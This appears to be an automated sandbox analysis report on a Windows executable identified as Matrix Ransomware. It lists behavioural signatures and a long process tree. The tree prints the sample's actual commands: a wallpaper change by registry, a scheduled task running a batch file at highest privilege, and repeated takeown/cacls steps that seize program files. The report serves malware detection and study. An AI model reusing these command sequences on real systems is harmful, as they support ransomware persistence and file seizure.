Analysis
- max time kernel
148s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
14/04/2026, 04:27
General
- Target 57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe
- Size 1.2MB
- Sample260414-e2417ab12q
- SHA256 57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e
Score
10/10
Malware Config
Signatures
- Family: Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
- Drops file in Drivers directory 1 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Executes dropped EXE 64 IoCs
- Modifies file permissions 1 TTPs 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Drops desktop.ini file(s) 26 IoCs
- Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Sets desktop wallpaper using registry 2 TTPs 1 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 11 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe"C:\Users\Admin\AppData\Local\Temp\57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe"1⤵
- Family: Matrix Ransomware
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\57558bdab2008feb661e223e24dd1e437556bcab3c5f5a50cb5f0a640050ae0e.exe" "C:\Users\Admin\AppData\Local\Temp\NW1kpl0U.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NW1kpl0U.exe"C:\Users\Admin\AppData\Local\Temp\NW1kpl0U.exe" -n2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\cDwbzzAj.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\cDwbzzAj.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\OD3DUq4i.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\OD3DUq4i.vbs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\HINJ9Ca8.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\HINJ9Ca8.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\DDF.sys""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\DDF.sys" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\DDF.sys"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "DDF.sys" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "DDF.sys" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb64.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "classes.jsa" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Workflow.Targets" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Workflow.Targets" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wabmig.exe"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "wabmig.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Mail\wab.exe""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\wab.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\wab.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "wab.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "wab.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\it-IT\PhotoAcq.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "classes.jsa" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
